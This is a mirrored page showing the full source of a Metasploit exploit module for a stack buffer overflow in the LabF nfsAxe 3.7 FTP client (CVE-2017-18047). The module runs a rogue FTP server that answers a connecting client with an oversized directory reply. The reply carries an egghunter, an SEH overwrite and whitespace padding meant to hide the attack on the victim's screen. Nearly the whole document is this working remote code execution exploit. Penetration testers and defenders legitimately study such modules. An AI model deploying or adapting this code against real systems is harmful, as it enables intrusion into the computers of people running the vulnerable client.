Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/labf_nfsaxe.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::TcpServer
10
include Msf::Exploit::Seh
11
include Msf::Exploit::Remote::Egghunter
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow',
18
'Description' => %q{
19
This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote
20
code execution.
21
},
22
'Author' => [
23
'Tulpa', # Original exploit author
24
'Daniel Teixeira' # MSF module author
25
],
26
'License' => MSF_LICENSE,
27
'References' => [
28
[ 'CVE', '2017-18047' ],
29
[ 'EDB', '42011' ]
30
],
31
'Payload' => {
32
'BadChars' => "\x00\x0a\x10",
33
},
34
'Platform' => 'win',
35
'Targets' => [
36
# p/p/r in wcmpa10.dll
37
[ 'Windows Universal', { 'Ret' => 0x6801549F } ]
38
],
39
'Privileged' => false,
40
'DefaultOptions' => {
41
'SRVHOST' => '0.0.0.0',
42
},
43
'DisclosureDate' => '2017-05-15',
44
'DefaultTarget' => 0,
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options(
54
[
55
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ])
56
]
57
)
58
end
59
60
def exploit
61
srv_ip_for_client = datastore['SRVHOST']
62
if srv_ip_for_client == '0.0.0.0'
63
if datastore['LHOST']
64
srv_ip_for_client = datastore['LHOST']
65
else
66
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
67
end
68
end
69
70
srv_port = datastore['SRVPORT']
71
72
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
73
super
74
end
75
76
def on_client_connect(client)
77
return if ((p = regenerate_payload(client)) == nil)
78
79
print_status("#{client.peerhost} - connected.")
80
81
res = client.get_once.to_s.strip
82
print_status("#{client.peerhost} - Request: #{res}") unless res.empty?
83
print_status("#{client.peerhost} - Response: Sending 220 Welcome")
84
welcome = "220 Welcome.\r\n"
85
client.put(welcome)
86
87
res = client.get_once.to_s.strip
88
print_status("#{client.peerhost} - Request: #{res}")
89
print_status("#{client.peerhost} - Response: sending 331 OK")
90
user = "331 OK.\r\n"
91
client.put(user)
92
93
res = client.get_once.to_s.strip
94
print_status("#{client.peerhost} - Request: #{res}")
95
print_status("#{client.peerhost} - Response: Sending 230 OK")
96
pass = "230 OK.\r\n"
97
client.put(pass)
98
res = client.get_once.to_s.strip
99
print_status("#{client.peerhost} - Request: #{res}")
100
101
eggoptions = { :checksum => true }
102
hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
103
104
# "\x20"s are used to make the attack less obvious
105
# on the target machine's screen.
106
sploit = "220 \""
107
sploit << "\x20" * (9833 - egg.length)
108
sploit << egg
109
sploit << generate_seh_record(target.ret)
110
sploit << hunter
111
sploit << "\x20" * (576 - hunter.length)
112
sploit << "\" is current directory\r\n"
113
114
print_status("#{client.peerhost} - Request: Sending the malicious response")
115
client.put(sploit)
116
end
117
end
118
119